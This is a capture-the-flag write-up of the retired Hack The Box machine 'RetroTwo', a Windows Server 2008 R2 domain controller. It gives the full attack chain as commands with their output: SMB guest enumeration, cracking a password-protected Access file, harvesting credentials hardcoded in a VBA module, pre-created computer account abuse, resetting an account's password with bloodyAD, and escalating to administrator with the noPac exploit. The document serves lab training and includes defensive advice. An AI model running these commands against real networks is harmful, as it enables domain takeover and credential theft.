RetroTwo
RetroTwo is a Hack The Box machine running an old Microsoft Windows Server 2008 R2 Datacenter domain controller.
Overview
This is an old machine in a new era, which is what makes it interesting. It involves SMB and Active Directory enumeration, and it doesn’t come with a username and password. The path I used to root the box is not the intended one. The machine is outdated, though, and there are several ways to exploit it.
Reconnaissance
First I tried to run nmap with the following parameters to enumerate the ports.
nmap -sV -sC -oN retrotwo 10.129.8.42
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-31 19:52 CEST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.11 seconds
Nmap is telling me to use -Pn, because the Windows machine is blocking ICMP requests.
nmap -sV -sC -Pn -oN retrotwo 10.129.8.42
It came up with several common ports for a Windows DC. Some interesting stuff:
<SNIP>
| smb-os-discovery:
| OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: BLN01
| NetBIOS computer name: BLN01\x00
| Domain name: retro2.vl
| Forest name: retro2.vl
| FQDN: BLN01.retro2.vl
|_ System time: 2026-05-31T19:56:38+02:00
|_clock-skew: mean: -29m58s, deviation: 59m58s, median: 0s
</SNIP>
Adding BLN01.retro2.vl to the hosts file.
echo "10.129.8.42 BLN01.retro2.vl" | sudo tee -a /etc/hosts
The ports 445, 389, 3389 and 88 are the most interesting ones. Let’s take a look.
Foothold
Let’s try to enumerate SMB with a guest account.
enum4linux-ng -A -u 'Guest' -p '' 10.129.8.42
It shows an accessible share.
<SNIP>
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share IPC$
[-] Could not check share: STATUS_INVALID_PARAMETER
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: DENIED
[*] Testing share Public
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: DENIED
</SNIP>
After investigating the share, I saw a Microsoft Access file, so I downloaded it.
┌─[henk@parrot]─[~/htb/retired/retrotwo]
└──╼ $smbclient -U Guest%'' '//10.129.8.42/Public'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Aug 17 16:30:37 2024
.. D 0 Sat Aug 17 16:30:37 2024
DB D 0 Sat Aug 17 14:07:06 2024
Temp D 0 Sat Aug 17 13:58:05 2024
6290943 blocks of size 4096. 821240 blocks available
smb: \> cd DB
smb: \DB\> ls
. D 0 Sat Aug 17 14:07:06 2024
.. D 0 Sat Aug 17 14:07:06 2024
staff.accdb A 876544 Sat Aug 17 16:30:19 2024
6290943 blocks of size 4096. 821240 blocks available
smb: \DB\> get staff.accdb
getting file \DB\staff.accdb of size 876544 as staff.accdb (8475,2 KiloBytes/sec) (average 8475,2 KiloBytes/sec)
When I threw mdb-tables at it, it threw an error. The internet told me the file is corrupt or encrypted.
└──╼ $mdb-tables staff.accdb
mdb_read_table: Page 2 [size=4096] is not a valid table definition page (First byte = 0xF3, expected 0x02)
Unable to read table MSysObjects
File does not appear to be an Access database
So let’s throw john at it.
└──╼ $office2john staff.accdb
staff.accdb:$office$*2013*100000*256*16*5736cfcbb054e749a8f303570c5c1970*1ec683<REDACTED>
john ./hash.txt -wordlist=/usr/share/wordlists/rockyou.txt
Now we have the password, and here comes the part I liked least: I had to boot Windows to open it.
So I booted my dual-boot laptop into Windows and opened the file.

When I opened it, I saw an included VBA module.

The module shows some interesting credentials. Let’s see what we can do with them.
Option Compare Database
Sub ImportStaffUsersFromLDAP()
Dim objConnection As Object
Dim objCommand As Object
Dim objRecordset As Object
Dim strLDAP As String
Dim strUser As String
Dim strPassword As String
Dim strSQL As String
Dim db As Database
Dim rst As Recordset
strLDAP = "LDAP://OU=staff,DC=retro2,DC=vl"
strUser = "retro2\ldapreader"
strPassword = "<REDACTED>"
Set objConnection = CreateObject("ADODB.Connection")
objConnection.Provider = "ADsDSOObject"
objConnection.Properties("User ID") = strUser
objConnection.Properties("Password") = strPassword
objConnection.Properties("Encrypt Password") = True
objConnection.Open "Active Directory Provider"
Set objCommand = CreateObject("ADODB.Command")
objCommand.ActiveConnection = objConnection
objCommand.CommandText = "<" & strLDAP & ">;(objectCategory=person);cn,distinguishedName,givenName,sn,sAMAccountName,userPrincipalName,description;subtree"
Set objRecordset = objCommand.Execute
Set db = CurrentDb
Set rst = db.OpenRecordset("StaffMembers", dbOpenDynaset)
Do Until objRecordset.EOF
rst.AddNew
rst!CN = objRecordset.Fields("cn").Value
rst!DistinguishedName = objRecordset.Fields("distinguishedName").Value
rst!GivenName = Nz(objRecordset.Fields("givenName").Value, "")
rst!SN = Nz(objRecordset.Fields("sn").Value, "")
rst!sAMAccountName = objRecordset.Fields("sAMAccountName").Value
rst!UserPrincipalName = Nz(objRecordset.Fields("userPrincipalName").Value, "")
rst!Description = Nz(objRecordset.Fields("description").Value, "")
rst.Update
objRecordset.MoveNext
Loop
rst.Close
objRecordset.Close
objConnection.Close
Set rst = Nothing
Set objRecordset = Nothing
Set objCommand = Nothing
Set objConnection = Nothing
MsgBox "Staff users imported successfully!", vbInformation
End Sub
Let’s grab some data for BloodHound investigation.
└──╼ $nxc ldap 10.129.8.42 -u ldapreader -p <REDACTED> -d retro2.vl --dns-server 10.129.8.42 --dns-tcp --bloodhound -c All
LDAP 10.129.8.42 389 BLN01 [*] Windows 7 / Server 2008 R2 Build 7601 (name:BLN01) (domain:retro2.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.8.42 389 BLN01 [+] retro2.vl\ldapreader:<REDACTED>
LDAP 10.129.8.42 389 BLN01 Resolved collection methods: acl, adcs, container, dcom, group, localadmin, loggedon, objectprops, psremote, rdp, session, trusts
LDAP 10.129.8.42 389 BLN01 Excluded collection methods:
LDAP 10.129.8.42 389 BLN01 Bloodhound data collection completed in 0M 2S
LDAP 10.129.8.42 389 BLN01 Collecting ADCS data (CertiHound)...
LDAP 10.129.8.42 389 BLN01 Found 0 certificate templates
LDAP 10.129.8.42 389 BLN01 Found 0 Enterprise CAs
LDAP 10.129.8.42 389 BLN01 Compressing output into /home/user/.nxc/logs/BLN01_10.129.8.42_2026-05-31_213507_bloodhound.zip
Let’s create a krb5.conf for Kerberos usage.
nxc smb BLN01.retro2.vl -u ldapreader -p <REDACTED> --generate-krb5-file krb5.conf
export KRB5_CONFIG="$(pwd)/krb5.conf"
Because this is a retro machine, let’s check whether there are any machine accounts on the system we can use.
First, adjust the time.
sudo ntpdate -s 10.129.8.42
└──╼ $nxc ldap BLN01.retro2.vl -u ldapreader -p <REDACTED> -d retro2.vl --kdcHost 10.129.8.42 -M pre2k
LDAP 10.129.8.42 389 BLN01 [*] Windows 7 / Server 2008 R2 Build 7601 (name:BLN01) (domain:retro2.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.8.42 389 BLN01 [+] retro2.vl\ldapreader:<REDACTED>
PRE2K 10.129.8.42 389 BLN01 Pre-created computer account: FS01$
PRE2K 10.129.8.42 389 BLN01 Pre-created computer account: FS02$
PRE2K 10.129.8.42 389 BLN01 [+] Found 2 pre-created computer accounts. Saved to /home/henk/.nxc/modules/pre2k/retro2.vl/precreated_computers.txt
PRE2K 10.129.8.42 389 BLN01 [+] Successfully obtained TGT for fs01@retro2.vl
PRE2K 10.129.8.42 389 BLN01 [+] Successfully obtained TGT for fs02@retro2.vl
PRE2K 10.129.8.42 389 BLN01 [+] Successfully obtained TGT for 2 (pre-created) computer accounts. Saved to /home/henk/.nxc/modules/pre2k/ccache
Let’s look at the BloodHound data to see if there are any interesting things.

And there’s the path. We can change the password of the computer account ADMWS01$, which has the rights to add a member to the services group, which in turn has remote desktop usage rights. Let’s exploit that path.
- change the password of ADMWS01$
- add ldapreader to the services group
- log in over RDP and grab the user.txt
First, we use the ticket of FS01$ to change the password of ADMWS01$.
export KRB5CCNAME=/home/user/.nxc/modules/pre2k/ccache/fs01.ccache
└──╼ $bloodyAD --host BLN01.retro2.vl -d retro2.vl -k -u FS01$ --dc-ip 10.129.8.42 --dns 10.129.8.42 set password 'ADMWS01$' 'Password123!'
[+] Password changed successfully!
Now we add the user ldapreader to the services group.
bloodyAD --host BLN01.retro2.vl -d retro2.vl -u 'ADMWS01$' -p 'Password123!' --dc-ip 10.129.8.42 --dns 10.129.8.42 add groupMember services 'ldapreader'
[+] ldapreader added to services
Then I logged in as ldapreader. It complained about the certificate, so I added /cert:ignore /sec:rdp.
xfreerdp3 /v:10.129.8.42 /u:ldapreader /p:<REDACTED> /d:retro2 /drive:linux,/home/users/tools /w:3440 /h:1400 /cert:ignore /sec:rdp

Privilege Escalation
Because this is an old operating system, there are several escalation paths. I used NetExec to discover that it has a noPac vulnerability.
└──╼ $nxc smb 10.129.8.42 -u 'ADMWS01$' -p 'Password123!' -d retro2.vl --dns-server 10.129.8.42 --dns-tcp -M nopac
SMB 10.129.8.42 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.8.42 445 BLN01 [+] retro2.vl\ADMWS01$:Password123!
NOPAC 10.129.8.42 445 BLN01 TGT with PAC size 1410
NOPAC 10.129.8.42 445 BLN01 TGT without PAC size 701
NOPAC 10.129.8.42 445 BLN01
NOPAC 10.129.8.42 445 BLN01 VULNERABLE
NOPAC 10.129.8.42 445 BLN01 Next step: https://github.com/Ridter/noPac
git clone https://github.com/Ridter/noPac
Cloning into 'noPac'...
remote: Enumerating objects: 108, done.
remote: Counting objects: 100% (44/44), done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 108 (delta 22), reused 24 (delta 11), pack-reused 64 (from 1)
Receiving objects: 100% (108/108), 72.32 KiB | 3.29 MiB/s, done.
Resolving deltas: 100% (58/58), done.
python3 noPac.py retro2.vl/ldapreader:'<REDACTED>' -dc-ip 10.129.8.42 -shell --impersonate administrator -use-ldap

Decision points
For my first published writeup, I tried to solve a retired box the way I usually do. I tried to open the encrypted Access file with Linux, but had no luck. That’s because I expected the Access file to contain a table with rows, not a VBA module. So I used Windows, which felt like cheating. For the rest, the BloodHound path is self-explanatory. And the intended root path was a little more far-fetched than a NetExec scan.
Defensive perspective
From a defensive perspective: don’t run an operating system this old, and don’t use short, easy-to-crack passwords. And don’t hide credentials behind a password on a file: that’s not encryption, it’s a lock on an open door.
Takeaways
I learned some new ways to privesc a Windows machine. I didn’t root the system the intended way, but it did teach me a new technique and a new tool.